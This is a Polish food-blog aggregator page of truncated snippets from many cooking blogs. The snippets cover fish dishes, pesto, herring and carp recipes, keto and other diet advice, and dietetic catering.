przepis na kaszę jaglaną z pesto, którą zrobiłam z myślą o My. Można ją potraktować jako dodatek do obiadu, po prostu zamiast ziemniaków. Fajnie pasuje do ryb, kurczaka. Jeżeli chodzi o rodzaj pesto, nie musicie ściśle trzymać się mojego pomysłu. Rukolę możecie zastąpić natką pietruszki, jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść

Kardamonovy
Wegańskie pesto z rukolą i szpinakiem 23

dzisiejszego posta… do czego użyję pesto? Jeszcze nie wiem. Siądę sobie dziś wieczorem na spokojnie i coś wymyślę. Bo klasycznie świetnie sprawdzi się do makaronu, kasz, do drobiu, ryb, do klusek, sałatek, itd. Sałatki ostatnio częściej za nami chodzą, może pójdę jednak w tę stronę. Na dziś to tyle. Pojawię się tutaj znowu pojutrze. Ciao. Jeżeli ktoś(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść

Kardamonovy
Sos chrzanowy 32

pewno do jajek, ogólnie do zimnej płyty, w której będzie królować wieprzowina (ojeej, do pasztetu sprawdzi się świetnie). Jak się uprzecie można ten sos dodać do przyrządzonej wcześniej ryby lub po prostu jako dodatek do potraw z grilla. Do dzisiejszego przepisu użyłam chrzanu ze słoika, ale w sezonie chrzanowym na pewno użyję świeżego. Okolice Świąt Wielkanocnych? O tak, zdecydowanie(...)początku kwietnia. Jeżeli chodzi o dodatki, nie kombinowałam za bardzo. Miał być chrzan, ulubiony majonez, nabiał, podstawowe przyprawy i odrobina soku z cytryny. Kiedy będę robiła ten sos do ryb, dodam do niego poszatkowany koperek. Do potraw z grilla? Może czosnek, natkę pietruszki, zobaczę. Przeszły mi teraz przez myśl także kapary. Zaraz to sobie wszystko zapiszę, żeby

Kardamonovy
Dieta 1800 – 2000 kalorii – dzień 1 45

odżywką, dodaj, pokrojone truskawki. Posiłek – Morszczuk z Grilla Morszczuk 150 g Młody Szpinak Garść Pomidor 100 g Sól do smaku Pieprz do smaku Przygotowanie – połóż filet ryby na plastry pomidora, dopraw i wstaw pod grill w piekarniku, na tyle długo, by rybą się, lekko pod piekła. Połóż szpinak i nałóż rybę z pomidorami. Wartości Dnia 1 Kalorie

RafalCook
Łosoś pieczony w syropie klonowym 41

wyłożonej papierem do pieczenia blaszce. Syrop klonowy łączymy z sosem sojowym, mielonym imbirem oraz granulowanym czosnkiem. Dokładnie mieszamy (a najlepiej potrząsamy w zamkniętym słoiczku). Przygotowaną marynatą smarujemy kawałki ryby. Wstawiamy do piekarnika nagrzanego do 190 stopni na około 20 minut. W połowie czasu pieczenia ponownie smarujemy rybę przygotowaną marynatą

Smaki Na Talerzu
Sztuka Keto: Odkryj 3️⃣ kluczowe zasady diety ketogenicznej dla skutecznego odchudzania 52

stanowią tutaj główne źródło energii i to właśnie z nich pochodzi zdecydowana większość kalorii . Dlatego ważne jest, aby wybierać zdrowe źródła tłuszczów, takie jak kokos , awokado , orzechy czy tłuste ryby. Wprowadzenie większej ilości tłuszczów do diety pomaga utrzymać uczucie sytości, zapewnia dostawę niezbędnych składników odżywczych i sprzyja procesowi spalania zgromadzonych tłuszczów . Dopasowane do zapotrzebowania spożycie białek Następną kluczową zasadą(...)organizmu na dalszych jej etapach . Białka są niezbędne do budowy i regeneracji tkanek, dlatego istotne jest utrzymanie odpowiedniego ich poziomu i wybór wysokiej jakości źródeł białka, takich jak drób , ryby czy jajka . Dodatkowo, odpowiednia ilość białka zapewnia zachowanie masy mięśniowej i wspiera regenerację organizmu oraz sprzyja procesowi odchudzania . Więcej na temat roli białka w żywieniu niskowęglowodanowym przeczytasz

Modern Cave Girl
Co jeść i pić, aby mieć zdrowe włosy? 51

jest składnikiem budulcowym, zawierającym aminokwasy potrzebne do odbudowy struktury włosa . Jeżeli chcesz mieć zdrowe i mocne pasma, wprowadź do swojej codziennej diety zdrowe źródła protein, takich jak nabiał, jaja, ryby, oraz produkty roślinne bogate w białko. W szczególności sięgaj po: Nabiał z dobrym składem bez dodatku cukru, taki jak: kefir, jogurt czy produkty twarogowe. Wysokiej jakości mięso, bez konserwantów(...)Ryby bogate w białko, czyli tuńczyk, łosoś, makrela lub halibut. Ekologiczne jaja od kur z wolnego wybiegu. Produkty roślinne z dużą zawartością protein, takie jak: soja, soczewica, ciecierzyca, groch czy fasola. Produkty zbożowe i orzechy bogate w minerały Żelazo, miedź i cynk są minerałami, które mają kluczowe znaczenie podczas komponowania diety sprzyjającej zdrowym włosom. Kasza gryczana i orzechy

codojedzenia
Ryba zapiekana w ziołach 29

sosu dodać dowolne zioła. Zapraszam po przepis, jestem pewna, że kto raz jej spróbuje, ten będzie do tej rybki wracał. Wychodzi naprawdę smaczna i delikatna 😋 Składniki: 2 filety białej ryby (morszczuk, miruna, dorsz) pieprz cytrynowy  sól sok z cytryny  2 łyżki majonezu  2 łyżki śmietany 12-18% siekany koperek bazylia - świeża lub suszona garść świeżego szpinaku(...)dowolne porcje, posypać pieprzem cytrynowym i solą. Włożyć do naczynia żaroodpornego.  2. Szpinak pokroić, w misce wymieszać majonez, śmietanę, szpinak, zioła, zmiażdżone ząbki czosnku. Sos wyłożyć na rybę. Włożyć do piekarnika nagrzanego do 180*C i piec do zrumienienia się wierzchu, 25-30 minut. Podawać z ulubionymi dodatkami.  Smacznego

Kuchnia domowa Ani
Pasta bezrybna – wegańska wędzona pasta | DIETA 1800 KCAL 52

Wędzona pasta bezrybna to smaczna i zdrowa alternatywa dla tradycyjnych past kanapkowych. Jest doskonałą propozycją dla wegan, wegetarian, osób poszukujących nowych smaków lub tych, którzy chcą ograniczyć spożycie ryb, ale tęsknią za smakiem pasty rybnej. Przepis jest prosty i niezwykle szybki! Dieta 1800 kcal – jadłospisy na 30 dni! Wędzona pasta bezrybna to przepis, który pochodzi z eBooka(...)tłuszcze, które również są niezbędne w diecie. Nie tylko smak i wartość odżywcza są zaletami tej pasty bezrybnej. Jest to również świetna alternatywa dla osób, które chcą zredukować spożycie ryb ze względu na troskę o środowisko lub etykę. Pamiętaj, że ta pasta bezrybna to tylko jedna z wielu możliwości. Możesz eksperymentować z różnymi dodatkami i przyprawami, aby dostosować

Via Gusto
Czym jest keto dieta? 48

kurczaka, udka z kurczaka, piersi z indyka, mieloną wołowinę, schab, wątróbkę, boczek. Jednak mięso to nie wszystko. Na diecie keto, ze względu na niską zawartość węglowodanów, można spożywać również ryby i owoce morza, takie jak, np. łosoś, makrela, tuńczyk, krewetki, homary czy małże. Ryby i owoce morza to też doskonałe źródło omega-3, białka i witaminy

Słodkie okruszki
Najlepsze przepisy na dania z sezonowych warzyw 39

daniach z piekarnika. Na przykład, zapiekane warzywa z ziołami i oliwą to proste, ale smaczne danie, które można podać jako samodzielne danie lub jako dodatek do mięsa czy ryby. innym klasycznym daniem jest tarta warzywna, w której sezonowe warzywa, takie jak pomidory, cukinia, bakłażan czy szparagi, tworzą pyszne i kolorowe nadzienie. Dania z sezonowych warzyw-tarta ze szparagami. Warzywa(...)bazylii czy cukinii. Risotto z warzywami, takie jak szparagi, groszek czy spzinak, to smaczne i pożywne danie, które można podać jako samodzielne danie lub jako dodatek do mięsa czy ryby. Podsumowanie Sezonowe warzywa są nie tylko smaczne, ale także pełne składników odżywczych. Wykorzystanie ich w kuchni pozwala nam cieszyć się świeżością i naturalnym smakiem. Klasyczne dania, takie jak sałatki

Moja Książka Kucharska
Grillowanie w domu – dlaczego warto zainwestować w grill elektryczny 45

Zamiast węgla drzewnego lub gazu, wykorzystuje on energię elektryczną do podgrzewania swojej powierzchni grzewczej. Gdy grill osiąga odpowiednią temperaturę, można na nim przygotować potrawy takie jak mięso, warzywa czy ryby. Grille elektryczne wyposażone są zazwyczaj w termostat, który pozwala na precyzyjne kontrolowanie temperatury, co ułatwia przygotowywanie różnorodnych potraw. Dzięki temu, nie musimy obawiać się o przegrzewanie produktów, co jest(...)istotne w przypadku delikatnych składników takich jak ryby. Zobacz także: Grill elektryczny marki Bosch https://www.bosch-home.pl/lista-produktow/gotowanie-i-pieczenie/grille-elektryczne Jak korzystać z grilla elektrycznego? Korzystanie z grilla elektrycznego jest proste i wygodne. Przed rozpoczęciem grillowania należy upewnić się, że urządzenie jest umieszczone na stabilnej i odpornym na wysokie temperatury podłożu. Następnie należy podłączyć go do źródła zasilania i ustawić żądaną temperaturę

Słodkie okruszki
Sałatka jarzynowa 45

propozycji, z czym można podawać sałatkę warzywną: Jako danie główne - sałatka jarzynowa może być podana jako samodzielne danie, które można urozmaicić dodając do niej kawałki pieczonego kurczaka, kawałki wędzonej ryby lub tuńczyka. Z mięsem - sałatka warzywna to idealne danie dodatkowe do różnego rodzaju mięs i wędlin. Doskonale sprawdzi się  jako dodatek do schabu, pieczeni, kotletów mielonych czy pieczonej(...)jest prosty i szybki w przygotowaniu, a przy tym sałatka jest bardzo smaczna i sycąca. Można ją podawać jako danie główne, ale również jako dodatek do mięs, wędlin lub ryb. Mam nadzieję, że przepis na sałatkę jarzynową spodoba się Tobie i Twoim bliskim :) Korzystaj z niego i koniecznie ulepszaj :) Miłego gotowania

Moja Książka Kucharska
Uporządkuj swoje hormony! Premiera mojej nowej diety gotowej :) 33

nabiału w postaci jogurtu naturalnego oraz kefiru, co przełoży się korzystnie na stan naszej mikroflory). W jadłospisie oczywiście nie ma miejsca na cukier i jego zamienniki! Jadłospis zawiera dużo ryb , ponieważ korzyści płynące z kwasów tłuszczowych omega-3 obecnych właśnie w rybach są nieocenione! Posiłki są stworzone na bazie nieprzetworzonych produktów. W menu uwzględniono mięso , w tym dobrej

Natka Pietruszki
Jak uniknąć strat po świętach 55

pomysły na zagospodarowanie resztek ze świątecznego stołu Co można mrozić: gotowane, pieczone, wędzone mięsa, wędliny, ryby pasztety mięsne i warzywne zupy np żurek, chrzanowa, barszcz – choć można też je zawekować by nie zajmowały miejsca w zamrażarce bigos, kapusta z grochem, gulasz pieczywo ciasta np babki, mazurki, serniki, makowce oprócz tych z galaretką czy z kremem czekoladę – jeśli(...)dostaniecie nadmiar czekoladowych zajączków pierogi, uszka śledzie surowe, śledzie w oleju pascha z twarogu Czego lepiej nie mrozić: galarety – ciasta z galaretką, mięso w galarecie, ryby w galarecie, nóżki, galaretki warzywne ciasta z kremem ugotowane jajka, faszerowane jajka pasztet z jajek śledzie w śmietanowych i jogurtowych sosach sałatki jarzynowej wymieszanej z jogurtem, inne sałatki dań, które wcześniej były

Dorota Smakuje
Twarde jedzenie – wady i zalety 43

diety. Zadbać trzeba oczywiście między innymi o dostarczenie zębom odpowiednich mikroelementów, takich jak wapń i fosfor, oraz witaminy D, A i C, które znaleźć można na przykład w nabiale, rybach, maśle i margarynie oraz surowych owocach i warzywach – truskawkach i porzeczkach, w brokułach i marchewkach. To właśnie o te twarde warzywa najczęściej spierają się spece od higieny jamy ustnej(...)Witamina D zadba o przyswajanie wapnia i fosforu, kluczowych składników budulcowych zębów odpowiedzialnych za ich twardość. Ją również znajdziemy w nabiale – mleku, jogurtach i jajkach – a także w tłustych rybach. Witamina C zadba o nasze dziąsła, a znajdziemy ją w orzechach włoskich lub laskowych oraz w nasionach słonecznika.  Materiał partnera

Kulinarnyblog.pl - wiesz jak gotować!
PCOS – dietoterapia, suplementacja i przykładowe menu na 1 dzień. 41

zapoznania się z gotowymi, sezonowymi jadłospisami z niskim IG dostępnymi w moim internetowym sklepie . Poleca się włączenie produktów będących źródłem wielonienasyconych kwasów tłuszczowych z rodziny omega-3 (ryby morskie, awokado , orzechy , siemię lniane ). Zdrowe tłuszcze powinny być obecne każdego dnia w diecie. Rezygnujemy z żywności przetworzonej, kolorowych napojów, sklepowych słodyczy, fast foodów. Dbamy o odpowiednią zawartość cennego błonnika(...)Włączamy do diety źródła cennych polifenoli , np. niskocukrowe owoce jagodowe. Dbamy o odpowiednią zawartość białka w diecie, co jest kluczowe podczas odchudzania . Dobre źródła białka, to: chude mięso, jaja , ryby, tofu, strączki , sery. Dieta musi być dopasowana indywidualnie w zależności od potrzeb danej osoby, jej preferencji, czy aktywności fizycznej. Rezygnujemy z dosalania potraw, na rzecz świeżych i suszonych ziół

Natka Pietruszki
Filet barramundi w sosie curry 33

Ryba barramundi, zwana również gigantycznym okoniem, w Polsce dopiero zaczyna swoje kuchenne podboje. Pochodzi z Australii, ale duże zainteresowanie w naszym kraju spowodowało, że powstała pod Olsztynem hodowla tej ryby. W warunkach naturalnych jej długość dochodzi do 180 cm, a waga do 60 kg. Uznanie szefów kuchni zawdzięcza swojemu smakowi oraz delikatnemu i zwartemu mięsu. Jej główną zaletą jest(...)posiada ostrych i drobnych ości. Ryba idealna! Składniki dla 2 osób: ? 2 filety barramundi ? 1/2 papryki czerwonej ? 1 cebula ? 1 pomidor ? 5 boczniaków ? sok z 1/2 lemonki ? 3 plastry imbiru świeżego ? 1/2 szklanki bulionu ? 1/2 puszki mleka kokosowego ? 1 łyżka pasty curry ? pęczek dymki ? kilka gałązek kolendry ? 2 łyżki masła ? 1 woreczek ryżu jaśminowego. Wykonanie: ? Ugotować ryż wg przepisu

To co kocham
Śledzie w czerwonym winie z suszonymi śliwkami 39

Śledzie są rybami morskimi, z których można wyczarować wiele smacznych, tradycyjnych i nowoczesnych dań. Najbardziej popularne są u nas śledzie w formie przekąsek czy sałatek przygotowywane na różne sposoby – z olejem, marynowane, z cebulką, jabłkami, orzechami, rodzynkami, warzywami czy korzenne. Na ostro, słono, kwaśno, słodko – dla każdego jakiś śledzik się znajdzie. Filety śledziowe solone(...)matjas SEKO przygotowywane są z ryb najwyższej jakości ? ich mięsista konsystencja oraz charakterystyczny dla śledzi smak podkreślone zostały specjalnie skomponowaną zalewą smakową. Dawno nie jadłam tak smacznych śledzi. Muszę również przyznać, że nigdy ich wcześniej nie kupowałam, ale dzięki uprzejmości firmy SEKO mogę teraz delektować się ich smakiem. Przepisy na śledzie w każdym domu są inne. Warto więc czasem

To co kocham
Śródziemnomorskie keto (keyto) – najlepsza wersja diety keto? 50

warzyw i owoców (w szczególności zielone warzywa liściaste), zdrowych tłuszczów w postaci oliwy z oliwek , pełnoziarnistych zbóż, strączków oraz orzechów. Jeśli chodzi o mięso , to jadane są przede wszystkim ryby , owoce morza oraz drób , rzadziej mięso czerwone. Istotnym elementem diety są także jaja i nabiał. Jak widać, filar diety stanowią produkty pochodzenia roślinnego. Jak działa dieta śródziemnomorska? Co decyduje(...)założyć, że lepszym wyborem będzie dieta bazująca na tłuszczach jednonienasyconych. Dieta keto śródziemnomorska - przepisy Pora od teorii przejść do praktyki... Potrawy śródziemnomorskiej diety ketogenicznej będą zawierać zatem przede wszystkim ryby , owoce morza oraz drób jako źródło białka, oliwę z oliwek oraz awokado jako źródło tłuszczów jednonienasyconych oraz węglowodany w postaci niskowęglowodanowych warzyw (najlepiej zielonoliściaste). Sporo propozycji keto potraw kuchni

Modern Cave Girl
Jak rozmrażać mięso? Czy trzeba myć mięso – poradnik 55

się zarazek. Poza tym skorupka jajka to nie pancerz wodoodporny. Podczas mycia, zarazki z powierzchni jajka mogą przeniknąć przez pory w skorupce do środka. 5. Jak marynować mięso i ryby żeby nie mnożyć bakterii? Jak już wspomnieliśmy bakterie czują się doskonale w temperaturze pokojowej, dlatego jeśli marynujesz mięso nigdy nie trzymaj go na kuchennym blacie dłużej niż pół godziny(...)wołowe, cielęce i jagnięce – 145 st. C Drób: kurczak, gęś, kaczka, indyk, piersi, skrzydełka, udka, z farszem – 165 st. C Schabowy, szynka wieprzowa – 145 st. C Ryby – 145 st. C 7. Czy po kontakcie z mięsem zawsze trzeba myć ręce? Przygotowując surowe mięso trzeba często myć ręce. Nie wystarczy opłukać dłonie: trzeba je dokładnie obmyć

Niedzielny kucharz
Śledzie smażone panierowane 63

SMAŻONE PANIEROWANE Składniki: 6-8 filetów śledzi świeżych 2 jajka mąka bułka tarta sól pieprz olej Jak zrobić śledzie smażone panierowane: Filety myjemy pod bieżącą wodą i osuszamy. Następnie rybę oprószamy solą i pieprzem i delikatnie obtaczamy w mące. Jajka wbijamy do talerza i roztrzepujemy widelcem. Filety ryby obtaczamy w jajku a następnie w bułce tartej. Na rozgrzany olej

Dorota Smakuje
Reumatoidalne zapalenie stawów – jak wspomóc leczenie dietą? Plus konkretne przepisy z bloga :) 38

indeksie glikemicznym , aby nie powodować zbyt gwałtownych wahań poziomu glukozy i insuliny. Więcej na temat korzyści płynących z tego rodzaju diety pisałam tutaj . Istotne miejsce w menu powinny zająć ryby i owoce morza. To właśnie one stanowią naturalne źródło wielonienasyconych kwasów tłuszczowych z rodziny omega-3, które korzystnie wpłyną na stawy redukując stany zapalne. Ryby należy

Natka Pietruszki
Sos chrzanowy 53

pewno do jajek, ogólnie do zimnej płyty, w której będzie królować wieprzowina (ojeej, do pasztetu sprawdzi się świetnie). Jak się uprzecie można ten sos dodać do przyrządzonej wcześniej ryby lub po prostu jako dodatek do potraw z grilla. Do dzisiejszego przepisu użyłam chrzanu ze słoika, ale w sezonie chrzanowym na pewno użyję świeżego. Okolice Świąt Wielkanocnych? O tak, zdecydowanie(...)początku kwietnia. Jeżeli chodzi o dodatki, nie kombinowałam za bardzo. Miał być chrzan, ulubiony majonez, nabiał, podstawowe przyprawy i odrobina soku z cytryny. Kiedy będę robiła ten sos do ryb, dodam do niego poszatkowany koperek. Do potraw z grilla? Może czosnek, natkę pietruszki, zobaczę. Przeszły mi teraz przez myśl także kapary. Zaraz to sobie wszystko zapiszę, żeby

Kardamonovy
Ryba po indyjsku w sosie mango 61

łyżeczki papryki wędzonej 1 kawałek imbiru, papryczka chili sól, pieprz czarny i czerwony, limonka olej Curry 100 g szpinaku baby 300 ml mleczka kokosowego 1/2 szklanki ryżu czarnego Rybę kroję na kawałki, posypuję solą, pieprzem. Ryż gotuję według instrukcji opakowania. Cebulę i czosnek drobno siekam i przesmażam na rozgrzanym oleju curry. Dodaję starty imbir, paprykę wędzoną, papryczką chili pokrojoną, przyprawę(...)curry i przesmażam chwilę. Wlewam pulpę mango, zagotowuję, dodaję mleczko kokosowe i chwilę redukuję. Doprawiam solą, pieprzem. Dodaję liście szpinaku i mieszam. Na wierzchu układam kawałki ryby. Pod przykryciem duszę około pięć minut. Podaję z czarnym ryżem

wesoła kuchnia
Rolada kokosowa bez pieczenia 51

Rolada kokosowa bez pieczenia Rolada kokosowa to wyjątkowy pyszny deser, który świetnie smakuje i pięknie wygląda. Taka rolada sprawdzi się w czasie wszelkich świąt, a także

Korniszonki
Torcik szpinakowy z łososiem 53

Torcik szpinakowy z wędzonym łososiem i serkiem śniadaniowym typu philadelphia Torcik szpinakowy z wędzonym łososiem i kremowym serkiem to niezwykle efektowne danie, które możemy podać jako

Korniszonki
Jak zdrowo się odżywiać po 40-tce? 46

diety wyeliminować smalec, czerwone mięso, ale i masło, a także ser żółty i tłuste mleko. Należy je zastąpić produktami, które są bogate w tłuszcze nienasycone. Zaliczamy do nich ryby, awokado, oliwki, ale i oleje roślinne czy orzechy. Mleko krowie należy zastąpić roślinnym, a jaja można zastąpić tapioką bądź zredukować ilość spożywanych jaj do 2 sztuk na tydzień. Kolejnym niebezpiecznym(...)konieczności stosowania leków. Tutaj należy zastosować małe zmiany w sposobie odżywiania się. Należy wyeliminować tłuste mięso i zastąpić je chudym. Do tego należy zwiększyć ilość spożywanych ryb. W diecie powinna znaleźć się duża ilość warzyw. Zaleca się też jedzenie owoców oraz nasion roślin strączkowych. Białe pieczywo trzeba zastąpić pełnoziarnistym, podobnie jak zwykły makaron makaronem pełnoziarnistym. *artykuł sponsorowany The post

Słodkie okruszki
Catering dietetyczny w Bydgoszczy – jak wybrać najlepszy? 52

idealnie dopasowuje się do nich poprzez różnorodność diet i ich wariantów . Najlepsze firmy oferujące catering w Bydgoszczy przygotowują nawet kilkanaście diet – menu standardowe uzupełniają diety: wegetariańska w wariancie z rybami lub bez ryb, wegańska, niskokaloryczna czy antycellulitowa oraz sportowa i ketogeniczna. W dobrze skrojonej ofercie nie może też zabraknąć menu dla diabetyka oraz dla osób borykających się

Słodkie okruszki
Zdrowa sałatka z kwasami omega 115

innymi komórkami. Kwas alfa-linolenowy przyczynia się do utrzymywania prawidłowego poziomu cholesterolu we krwi. Olej Lniany BOFLAX® może być alternatywą dla ludzi, którzy nie stosują w swojej diecie ryb z powodu innych preferencji kulinarnych (np. dla wegan). Metabolitami kwasu alfa-linolenowego w organizmie są aktywne, występujące również w tłuszczach ryb kwasy EPA i DHA. Zawarta w oleju witamina

Dorota Smakuje
Wykorzystanie wina w kuchni – jak dobrać je do potraw? 43

białe oraz czerwone . Jednak barwa nie jest ich jedyną różnicą. Pierwsze z nich są nieco lżejsze, dzięki czemu wspaniale komponują się z delikatniejszymi potrawami. Zaliczyć można do nich np. ryby. Z kolei wino czerwone świetnie skomponuje się z mięsami takimi jak np. wieprzowina czy sarnina.  Dodatkowo wina różnią się aromatami. Ich specyfika zależy głównie od szczepu, z jakiego(...)względu umiejętne jego dobranie do potraw jest niezwykle ważną kwestią. Nie wszystkie rodzaje win będą bowiem pasować do każdego dania. Jak już wyżej wspomnieliśmy, wina białe doskonale pasują do ryb i delikatnych mięs takich jak drób czy cielęcina. Świetnie skomponują się również z owocami – głównie cytrusami. Popularnym połączeniem są również grzyby duszone w białym winie. Ten rodzaj wina

Słodkie okruszki
Surówka z czerwonej kapusty 53

Całkiem niedawno skroiłam surówkę z białej kapusty i jarmużu . Latem uwielbiam surówki z młodej kapusty . Czerwona kapusta zawsze kojarzy mi się z zimą. Uwielbiam czerwone coleslaw do mięsa lub ryby. Oprócz kapusty dodałam do surówki por i jabłko. Wszystko wymieszałam z domowym majonezem . Zawsze miksuję majonez. Uwielbiam majonez do surówek. Taka surówka to prawdziwa bomba witaminowa. Znajduje się(...)niej również witamina D. Jak za pewne wiecie jaja i ryby zawierają dużo witaminy D. Dlatego pozwoliłam sobie podczas miksowania majonezu dodać witaminę D w kroplach. Wiadomo o tej porze bez słońca nasze zapasy witaminy D szybko się kurczą. Co prawda w tym roku przebywałam na słońcu dość dużo, ale nigdy nie wiadomo. Suplementację witaminą D zaleca się przede

codojedzenia
Wegańskie pesto z rukolą i szpinakiem 68

dzisiejszego posta… do czego użyję pesto? Jeszcze nie wiem. Siądę sobie dziś wieczorem na spokojnie i coś wymyślę. Bo klasycznie świetnie sprawdzi się do makaronu, kasz, do drobiu, ryb, do klusek, sałatek, itd. Sałatki ostatnio częściej za nami chodzą, może pójdę jednak w tę stronę. Na dziś to tyle. Pojawię się tutaj znowu pojutrze. Ciao. Jeżeli ktoś(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść

Kardamonovy
Jakie sprzęty są najbardziej przydatne w profesjonalnej gastronomii? 57

maszyny . Są to wilki do mięsa , nazywane tak, gdyż często mają charakterystyczny kształt oparty na 4 nogach. W wilku mielić można nie tylko mięso, ale także gotowane warzywa i ryby. Takie sprzęty osiągają wydajność na poziomie kilkuset kilogramów surowca na godzinę. Kuter do mieszania składników Chociaż kojarzy się z rybami, to w kutrze obrabiać można również mięso

ProstePesto.pl
Dieta ketogeniczna – na czym polega? 52

też niezbędne do produkcji hormonów i komórek układu odpornościowego. 1 gram białka dostarcza 4 kcal energii i znajduje się przede wszystkim w produktach odzwierzęcych m.in. w jajach, produktach mlecznych, rybach oraz mięsie, gdzie znajdziemy białko pełnowartościowe. Niepełnowartościowe białko jest obecne z kolei w żywności roślinnej, w roślinnych produktach zbożowych, nasionach strączków, orzechach. Węglowodany – to makroskładniki stanowiące źródło energii(...)ketogeniczna – co można jeść? Dieta ketogeniczna – na czym polega, to już wiemy. Nie wiemy natomiast co można spożywać w trakcie jej trwania. Przede wszystkim warto postawić na mięsa, tłuste ryby, oliwę z oliwek, olej rzepakowy, awokado, wysokotłuszczowy nabiał i jaja. Polecane są też różnorodne orzechy, nasiona i pestki, a także niskowęglowodanowe warzywa.  Należy unikać chleba, makaronów, kasz

Cynamonowe szczęście
Jak smażyć poprawnie rybę? 5 cennych wskazówek 44

czym smażyć rybę, jak długo i jaki olej wybrać – sprawdzone tipy i podpowiedzi. Artykuł Jak smażyć poprawnie rybę? 5 cennych wskazówek pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Jak powinna wyglądać dieta w chorobach wątroby? Czy istnieje jedna dieta idealna? Plus przykładowe posiłki z bloga. 35

około 100-120g/dobę). Białko stymuluje proces odnowy komórek wątrobowych i sprzyja uzupełnianiu niedoborów białek tkankowych, ponad połowa białka powinna być pochodzenia zwierzęcego, głównie z produktów mlecznych i ryb, wskazane są tłuszcze łatwo strawne (z mleka, śmietanki, masła, olejów roślinnych, oliwy z oliwek), tłuszcze mogą stanowić 30-35% wartości energetycznej diety; warto mieć na uwadze, że prawie połowa(...)tłuszczu jest ukryta i zawarta w produktach białkowych: serach, mięsie, rybach, jajach , rekomenduje się tłuszcz mleczny ze względu na zawartość w nim MCT (średniołańcuchowe kwasy tłuszczowe), z diety należy wykluczyć tłuszcze zwierzęce o wysokim punkcie topnienia, takie jak: smalec, słoninę, łój, zaleca się podawanie tłuszczu do gotowych potraw na surowo (np. polanie zupy czy sałatki oliwą z oliwek), węglowodany

Natka Pietruszki
Karp smażony 41

adsbygoogle = window.adsbygoogle || []).push({}); Karp smażony jest jedną z najpopularniejszych polskich potraw wigilijnych . Poza tym jest rybą o charakterystycznym smaku i zapachu. By nie kojarzył się z rzecznym mułem – ważne jest jego dobre przygotowanie. Dobrze jest wymoczyć świeżego karpia w mleku , jeszcze przed obłożeniem go cebulą i skropieniem cytryną . Składniki: karp mleko cytryna cebula mąka masło klarowane pieprz, sól Wykonanie(...)cebulę z karpia, doprawiamy solą i pieprzem. Obtaczamy karpia w mące. Smażymy karpia na klarowanym maśle z obu stron na złocisty lub złoto-brązowy kolor. Owijamy każdy kawałek usmażonej ryby w papierowy ręcznik, by wchłonął nadmiar tłuszczu. Skóry od karpia pozbywamy się dopiero przy jedzeniu, chyba, że niektórzy wolą już w początkowym etapie przygotować sobie do smażenia filety

Olcia gotuje!
Jordania – przewodnik kulinarny 42

Marokiem tadżin, kibbe jak w Libanie, zupę z soczewicy i mnóstwo sałatek. Najtańsze są dania z kurczakiem, ale popularna jest też baranina i koźlina. Nad morzem je się oczywiście ryby i owoce morza a na pustyni serki typu bryndza i inne przetwory z mleka. Na ulicy kupimy pyszne wyciskane soki np. z granatu i pomarańczy, oraz typowy dla Jordanii(...)trzeba spróbować: lemonana — sok z cytryny i mięty z cukrem herbatki ziołowe w pustynnych kawiarniach kawa z tygielka sałatki ze świeżych warzyw lokalne dania beduińskie typu zarb lub mansaf ryby i owoce morza z grilla lody arabskie (najlepiej kulkowe, a nie ze sklepu) z mastyksem Co przywieźć z Jordanii? Typowe pamiątki to: słodycze i orzechy przyprawy typu sumak

Ugotowane pozamiatane
Zapiekanka rybna (FISKGRATÄNG) 56

Przepis na szwedzką zapiekankę rybną. Bardzo smaczne podanie ryby, świetna propozycja na poczęstunek dla gości lub rodzinny uroczysty obiad. Artykuł Zapiekanka rybna (FISKGRATÄNG) pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Catering dietetyczny bez laktozy 51

nadwrażliwością na ten składnik. Warto również wykorzystać alternatywy roślinne zastępujące tradycyjny nabiał. W diecie bez laktozy, możesz bez obaw spożywać inne grupy żywności, takie jak warzywa, owoce, strączki, ryby, ryż, kasze, mięso, ryby lub oleje roślinne. Wystarczy zwrócić uwagę na skład produktu lub wybrać catering dietetyczny Otwock i cieszyć się dopasowanym jedzeniem dostarczonym prosto pod drzwi. Artykuł Catering

FoodMagazine.pl - Przepisy kulinarne
Szarlotka sypana z kruchą skorupką. Najlepsza Leniwa Żona 61

Szarlotka sypana "Leniwa żona" z mega kruchą skorupką bez zarabiania ciasta Ta szarlotka nazywa się “Leniwa Żona” i naprawdę jej przygotowanie nie wymaga zbyt wiele pracy

Korniszonki
RECENZJA BLENDERA 4SWISS NB 102 x JJ. CZTERY SUPER POMYSŁY NA ZDROWE POSIŁKI! 67

